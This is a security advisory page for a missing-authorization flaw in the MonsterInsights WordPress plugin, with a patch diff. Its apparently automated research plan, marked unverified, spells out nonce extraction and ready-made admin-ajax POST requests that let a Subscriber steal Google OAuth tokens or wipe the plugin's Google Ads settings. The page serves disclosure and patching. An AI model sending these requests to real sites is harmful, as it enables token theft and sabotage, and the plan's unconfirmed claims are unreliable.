CVE-2026-5371

MonsterInsights <= 10.1.2 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure And Plugin Integration Reset

highMissing Authorization
7.1
CVSS Score
7.1
CVSS Score
high
Severity
10.1.3
Patched in
1d
Time to patch

Description

The MonsterInsights – Google Analytics Dashboard for WordPress (Website Stats Made Easy) plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability checks on the get_ads_access_token() and reset_experience() functions in all versions up to, and including, 10.1.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve live Google OAuth access tokens and reset Plugins's Google Ads integration.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=10.1.2
PublishedMay 12, 2026
Last updatedMay 12, 2026

What Changed in the Fix

Changes introduced in v10.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Analysis: MonsterInsights Missing Authorization (CVE-2026-5371) ## 1. Vulnerability Summary The MonsterInsights plugin (versions <= 10.1.2) contains a missing authorization vulnerability in its Google Ads integration handlers. The functions `get_ads_access_token()` and `reset_experi…

Show full research plan

Vulnerability Analysis: MonsterInsights Missing Authorization (CVE-2026-5371)

1. Vulnerability Summary

The MonsterInsights plugin (versions <= 10.1.2) contains a missing authorization vulnerability in its Google Ads integration handlers. The functions get_ads_access_token() and reset_experience() within the MonsterInsights_Google_Ads class are registered as AJAX actions (wp_ajax_monsterinsights_ads_get_token and wp_ajax_monsterinsights_ads_reset_experience). While these functions verify a WordPress nonce, they fail to perform any capability checks (e.g., current_user_can()). Consequently, any authenticated user, including those with Subscriber privileges, can retrieve sensitive Google OAuth access tokens or reset the plugin's Google Ads configuration.

2. Attack Vector Analysis

  • Endpoints:
    • admin-ajax.php?action=monsterinsights_ads_get_token
    • admin-ajax.php?action=monsterinsights_ads_reset_experience
  • Authentication: Authenticated (Subscriber+) required.
  • Authorization: None (Missing current_user_can).
  • CSRF Protection: Nonce required (Action: mi-admin-nonce, Parameter: nonce).
  • Preconditions: The site must be connected to Google Analytics via MonsterInsights for a token to exist. For the reset exploit, the Google Ads integration settings must be populated.

3. Code Flow

  1. Action Registration: In includes/ppc/google/class-monsterinsights-google-ads.php, the __construct method registers the AJAX hooks:
    add_action('wp_ajax_monsterinsights_ads_get_token', array($this, 'get_ads_access_token'));
    add_action('wp_ajax_monsterinsights_ads_reset_experience', array($this, 'reset_experience'));
    
  2. Nonce Verification: Both handlers call check_ajax_referer('mi-admin-nonce', 'nonce').
  3. Vulnerable Sink (Token Exposure): get_ads_access_token() calls $this->get_access_token(), which retrieves the token from a transient (monsterinsights_google_ads_access_token_data) or the API, then returns it via wp_send_json_success.
  4. Vulnerable Sink (Setting Reset): reset_experience() calls self::clear_data(), which executes delete_transient(self::TOKEN_CACHE_KEY) and monsterinsights_delete_option(self::SETTINGS_KEY), effectively wiping the integration.

4. Nonce Acquisition Strategy

The mi-admin-nonce is localized for the monsterinsights-admin-setup-wizard script, which is enqueued on various admin pages, including the WordPress Dashboard (index.php), accessible to Subscribers.

  1. Target User: Any authenticated user (Subscriber).
  2. Target Page: /wp-admin/index.php.
  3. Source File: includes/admin/admin-assets.php
    wp_localize_script(
        'monsterinsights-admin-setup-wizard',
        'monsterinsights',
        array(
            'ajax'  => admin_url( 'admin-ajax.php' ),
            'nonce' => wp_create_nonce( 'mi-admin-nonce' ),
        )
    );
    
  4. Extraction Command:
    Use browser_navigate to go to /wp-admin/index.php, then:
    browser_eval("window.monsterinsights?.nonce")

5. Exploitation Strategy

Step 1: Token Exposure

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=monsterinsights_ads_get_token&nonce=[EXTRACTED_NONCE]

Expected Response:

{
    "success": true,
    "data": {
        "access_token": "ya29.a0AfH6S..."
    }
}

Step 2: Integration Reset

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=monsterinsights_ads_reset_experience&nonce=[EXTRACTED_NONCE]

Expected Response:

{
    "success": true,
    "data": {
        "message": "Google Ads experience reset successfully."
    }
}

6. Test Data Setup

  1. Install and activate MonsterInsights Lite 10.1.2.
  2. Mock Authentication: Since actual Google OAuth is difficult in a PoC, manually set the options/transients that the vulnerable functions expect:
    # Set fake settings
    wp option update monsterinsights_google_ads_settings '{"conversion_tracking_id": "AW-123456789"}' --format=json
    # Set fake token in transient
    wp transient set monsterinsights_google_ads_access_token_data '{"token":"poc-fake-access-token","expires_at":"2099-01-01 00:00:00"}' 3600
    # Ensure MI is "authed" (required for get_access_token)
    wp option update monsterinsights_site_auth '{"analytics":{"key":"fake_key"}}' --format=json
    
  3. Create a Subscriber user:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    

7. Expected Results

  • Token Exposure: The AJAX response should contain the value "poc-fake-access-token".
  • Reset: The AJAX response should return success, and the monsterinsights_google_ads_settings option should no longer exist in the database.

8. Verification Steps

  1. Verify Reset via CLI:
    wp option get monsterinsights_google_ads_settings
    # Expected: Error: Could not find the option with key 'monsterinsights_google_ads_settings'.
    
  2. Verify Transient Removal:
    wp transient get monsterinsights_google_ads_access_token_data
    # Expected: (empty/false)
    

9. Alternative Approaches

If window.monsterinsights.nonce is not present on index.php, navigate to any page containing a MonsterInsights notice or the onboarding wizard.
Check admin-assets.php for other scripts that might expose the nonce:

  • monsterinsights-admin-common-script localizes monsterinsights_admin_common.dismiss_notice_nonce (different action: monsterinsights-dismiss-notice).
  • The mi-admin-nonce is the specific one used by the vulnerable handlers in class-monsterinsights-google-ads.php. If it's missing from the main dashboard, use wp post create to create a page containing a MonsterInsights-specific shortcode if any are available in Lite to force script enqueuing.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MonsterInsights plugin fails to validate user capabilities in its Google Ads integration handlers. This allows authenticated users with Subscriber-level access to leak sensitive Google OAuth access tokens or reset the plugin's Google Ads integration settings via unauthorized AJAX requests.

Vulnerable Code

// includes/ppc/google/class-monsterinsights-google-ads.php:50
add_action('wp_ajax_monsterinsights_ads_get_token', array($this, 'get_ads_access_token'));
add_action('wp_ajax_monsterinsights_ads_reset_experience', array($this, 'reset_experience'));

---

// includes/ppc/google/class-monsterinsights-google-ads.php:166
public function reset_experience() {
    check_ajax_referer('mi-admin-nonce', 'nonce');

    self::clear_data();

    wp_send_json_success(array(
        'message' => __('Google Ads experience reset successfully.', 'google-analytics-for-wordpress'),
    ));
}

---

// includes/ppc/google/class-monsterinsights-google-ads.php:240
public function get_ads_access_token()
{
    check_ajax_referer('mi-admin-nonce', 'nonce');

    $access_token_result = $this->get_access_token();

    if (is_wp_error($access_token_result)) {
        wp_send_json_error(array(
            'message' => $access_token_result->get_error_message(),
            'code'    => $access_token_result->get_error_code(),
            'details' => $access_token_result->get_error_data(),
        ));
    }

    wp_send_json_success(array(
        'access_token' => $access_token_result,
    ));
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-for-wordpress/10.1.2/includes/ppc/google/class-monsterinsights-google-ads.php /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-for-wordpress/10.1.3/includes/ppc/google/class-monsterinsights-google-ads.php
--- /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-for-wordpress/10.1.2/includes/ppc/google/class-monsterinsights-google-ads.php	2026-02-05 14:33:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/google-analytics-for-wordpress/10.1.3/includes/ppc/google/class-monsterinsights-google-ads.php	2026-04-22 16:46:26.000000000 +0000
@@ -167,6 +167,12 @@
 	public function reset_experience() {
 		check_ajax_referer('mi-admin-nonce', 'nonce');
 
+		if (! current_user_can('monsterinsights_save_settings')) {
+			wp_send_json_error(array(
+				'message' => __('You do not have permission to reset the Google Ads experience.', 'google-analytics-for-wordpress'),
+			));
+		}
+
 		self::clear_data();
 
 		wp_send_json_success(array(
@@ -244,6 +250,12 @@
 	{
 		check_ajax_referer('mi-admin-nonce', 'nonce');
 
+		if (! current_user_can('monsterinsights_save_settings')) {
+			wp_send_json_error(array(
+				'message' => __('You do not have permission to retrieve the Google Ads access token.', 'google-analytics-for-wordpress'),
+			));
+		}
+
 		$access_token_result = $this->get_access_token();
 
 		if (is_wp_error($access_token_result)) {

Exploit Outline

An attacker with Subscriber-level authentication can exploit this vulnerability through the following steps: 1. Log in to the WordPress site as any authenticated user (e.g., Subscriber). 2. Obtain the 'mi-admin-nonce' value, which is localized and enqueued for various admin scripts (like the setup wizard or admin bar) and often visible in the source of the WordPress dashboard (`/wp-admin/index.php`). 3. Send an authenticated POST request to `/wp-admin/admin-ajax.php` with the parameter `action=monsterinsights_ads_get_token` and the captured `nonce` to retrieve the current Google OAuth access token. 4. Alternatively, send a POST request with `action=monsterinsights_ads_reset_experience` and the `nonce` to wipe the plugin's Google Ads integration settings from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.